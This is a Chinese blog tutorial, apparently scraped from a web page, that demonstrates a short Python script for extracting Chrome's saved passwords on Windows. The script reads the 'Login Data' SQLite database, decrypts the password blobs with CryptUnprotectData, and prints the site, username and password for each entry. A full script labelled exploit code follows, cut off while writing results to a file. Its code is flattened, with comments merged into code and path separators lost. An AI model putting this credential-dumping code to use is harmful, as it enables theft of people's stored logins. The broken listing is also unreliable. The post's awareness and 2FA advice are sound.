在本文中,我将演示如何轻松提取Chrome配置文件中保存的用户名和密码。有人可能会认为Chrome会加密自动保存的密码,但并非如此。当你在使用Chrome时,往往需要输入某个密码才能同步自动保存的密码,书签,设置,浏览器历史记录等。但是,任何人却能在本地直接用12行代码的脚本读取自动保存的明文密码。

演示

需要说明的是,我暂时没有在macOS或任何Linux系统上进行过测试,所有的测试都是在Windows的环境中进行,脚本用Python语言编写。

首先,我们导入依赖项,然后设置Chrome文件中保存用户数据的文件夹。其中依赖项为:sqlite3和win32crypt

#默认情况下,os和sqlite3已有,需要使用"pip install pypiwin32"来解决win32cryptimport os,sqlite3,win32crypt#自动获取保存用户数据的默认文件夹data = os.path.expanduser('~')+r"AppDataLocalGoogleChromeUser DataDefaultLogin Data"

接下来,我们需要利用sqlite3连接到Chrome存储用户数据的数据库。首先我们来了解一下这个数据库的结构。通过一个名为SQLite Expert的免费工具,你可以看到如下表结构。

当我查看数据库表时,有三列数据引起了我的注意,分别是action_url,username_value和password_value。请注意,password_value列的数据类型是BLOB——这代表它被加密,具体数据如下图所示,但这并不是绝对安全的(我们稍后将提到)。

接下来,我们将创建一个简单的SQL查询来提取相应的值,并进行解密。

注意:如果你在运行脚本时看到有关数据库被锁定的错误,那是因为另一个程序(很有可能就是Chrome)已经打开了数据库。你需要关闭整个Chrome,确保没有其他Chrome服务在后台运行。

#连接数据库connection = sqlite3.connect(data)cursor = connection.cursor()#查询数据cursor.execute('SELECT action_url, username_value, password_value FROM logins')final_data = cursor.fetchall()#关闭数据库连接cursor.close()

此时,我们得到的被加密的密码是由Windows函数CryptProtectData生成的。如果要解密,只能由具有相同Windows登录凭证的用户在加密时的计算机上解密。从外部来看,似乎没什么问题。

但是,如果黑客已通过木马之类的恶意软件控制了你的计算机,那么黑客此时可以说已经拥有了你的Windows凭证,并且能在你的电脑上进行解密。利用CryptUnprotectData函数,我们就可以解密被加密的密码。

#迭代找到的所有值...for chrome_logins in final_data: password = win32crypt.CryptUnprotectData(chrome_logins[2], None, None, None, 0)[1] print("Website : "+str(chrome_logins[0])) print("Username : "+str(chrome_logins[1])) print("Password : "+str(password))

就这样,我通过十二行代码,把我从2011开始存储的588个密码都提取了出来。

其他敏感数据(例如浏览历史记录和Cookie)也可以使用类似方法进行提取。

后记

对于任何网站来说,单个密码都不足以保证安全,最好能使用2FA来保证自己的安全。但可惜的是,现在不少网站都没有2FA功能。

此外,第三方密码管理器似乎也可以解决上述问题,但其本身的安全性还是未知,但至少,比任何人都能看到的Chrome的自动保存要好。

当然,我必须承认,此次提取的密码让我想起了很多以前忘记的密码,确实解决了我很多问题(甚至涉及很多金钱)。

利用代码如下:

# os and sqlite3 ships with Python by default. If you get import errors for win32crypt use "pip install pypiwin32" to install the dependency.import os, sqlite3, win32crypt# Automatically get the logged in user's default folderdata = os.path.expanduser('~')+r"AppDataLocalGoogleChromeUser DataDefaultLogin Data"# Connect to Login Data databa seconnection = sqlite3.connect(data)cursor = connection.cursor()# Query the values of interest to uscursor.execute('SELECT action_url, username_value, password_value FROM logins')final_data = cursor.fetchall()cursor.close()# print("Found {} passwords...").format(str(len(final_data)))write_file=open("chrome.txt

保存blob到本地_用12行代码提取浏览器自动保存的密码相关推荐

  1. 作死的神秘12行代码:分分钟让你电脑崩溃手机重启

    查看原文:http://www.ibloger.net/article/313.html 最近,一段神秘的12行代码在国外社交网络上火了起来,据说能让你的浏览器瞬间崩溃,iPhone秒重启.到底是什么 ...

  2. 12行代码AC——L1-058 6翻了(15分)

    立志用更少的代码做更高效的表达 "666"是一种网络用语,大概是表示某人很厉害.我们很佩服的意思.最近又衍生出另一个数字"9",意思是"6翻了&quo ...

  3. html实现安卓手机重启,这12行代码分分钟让你电脑崩溃手机重启

    事情的起因是这样的,国外一哥们Cyber Security在推特上发了这么一条推文: 高能!这12行代码分分钟让你的电脑崩溃手机重启 神秘的12行代码 这哥们声称,如果你使用上述这段12行的JavaS ...

  4. html崩溃手机代码15,这12行代码分分钟让你电脑崩溃手机重启

    事情的起因是这样的,国外一哥们Cyber Security在推特上发了这么一条推文: 神秘的12行代码(图片来自0xroot) 这哥们声称,如果你使用上述这段12行的JavaScript代码,就可以能 ...

  5. 10 行代码提取复杂 Excel 数据

    [摘要] 把 Excel 文件导入关系数据库是数据分析业务中经常要做的事情,但许多 Excel 文件的格式并不规整,需要事先将其中的数据结构化后再用 SQL 语句写入数据库.而一般情况下,结构化的工作 ...

  6. 新版TCGA表达矩阵1行代码提取2.0版

    配合视频教程使用更佳:[1行代码提取6种TCGA表达矩阵和临床信息] https://www.bilibili.com/video/BV12R4y197Ne/?share_source=copy_we ...

  7. PPT设置自动保存时间 mac_对于Office或者WPS,你会设置自动保存时间吗?

    电脑突然关机,文档还没保存? 相信经常写文档的小伙伴们,应该经历过正在写文档.写着写着电脑突然关机,所写的文档还没来记得保存,那该什么办?有些小伙伴的习惯就很好,每操作一部分就习惯性的按下快捷键[Ct ...

  8. Python 8行代码模拟鼠标自动删除微信收藏

    上回我们提到了用 pyuserinput 进行模拟键盘鼠标操作,结果发现很多同学都回复无法安装成功,即便安装成功了还是存在很多问题.确实,pyuserinput存在不少问题,包括其安装的pymouse ...

  9. 雷鸟自动保存邮件到本地_如何使雷鸟不自动换行

    雷鸟自动保存邮件到本地 Thunderbird automatically wraps lines by 72 characters by default. But wrapping in 72 ch ...

最新文章

  1. 第五部份 01 深入JavaScript与.NET Framework中的日期时间 JavaScript中的Date类型
  2. 上班族英语用语:今天你加班吗?
  3. C语言怎样编程分子变化,C语言经典编程(一)
  4. [NOI2007]货币兑换
  5. 点击打印出现IE已经阻止此站点用不安全方式使用 ActiveX 控件解决方
  6. 新手的深度学习综述 | 入门
  7. python语言程序设计难不难_零基础学Python编程开发难度大吗?从哪学起?
  8. 暮色森林模组_《我的世界》暮色森林VS天启之境 到底谁才是冒险模组一哥
  9. gentoo 安装php7,在Gentoo安装Wifidog Portal
  10. LCD中调色板的概念
  11. 获取ItemsControl中当前item的binding数据
  12. 231 订单支付 苹果内购
  13. 傅里叶变换的简单理解
  14. kibana服务器性能要求,kibana 性能监控 apm
  15. 微星z370安装linux系统,微星Z370+8700K+1080ti安装10.13.6成功,安装思路及EFI分享
  16. 如何在地图上批量标注经纬坐标
  17. 关于Windows安装解压版MySQL出现服务正在启动-服务无法启动的问题
  18. 已知:Sn= 1+1/2+1/3+…+1/n。显然对于任意一个整数K,当n足够大的时候,Sn大于K。 现给出一个整数K(k大于等于1小于等于15),要求计算出一个最小的n;使得Sn大于K。
  19. skywalking介绍
  20. 广东省汕头市谷歌卫星地图下载

热门文章

  1. Java多线程:解决生产者/消费者模式
  2. 刷题-字符串-Java
  3. 要不是真的喜欢学技术,谁会来用Python爬小姐姐啊
  4. 《scikit-learn》通过GridSearchCV来进行超参数优化
  5. java对象序列化并存储到文件和数据库
  6. [深度学习-实践]人脸识别的例子-Tensorflow2.x Keras
  7. cdh hive on spark_Flink 与 Hive 的磨合期
  8. 数字图像处理--引入齐次坐标
  9. 哈达玛变换的应用SATD、SAD等匹配算法
  10. 迁移学习 Transfer Learning—通俗易懂地介绍(常见网络模型pytorch实现)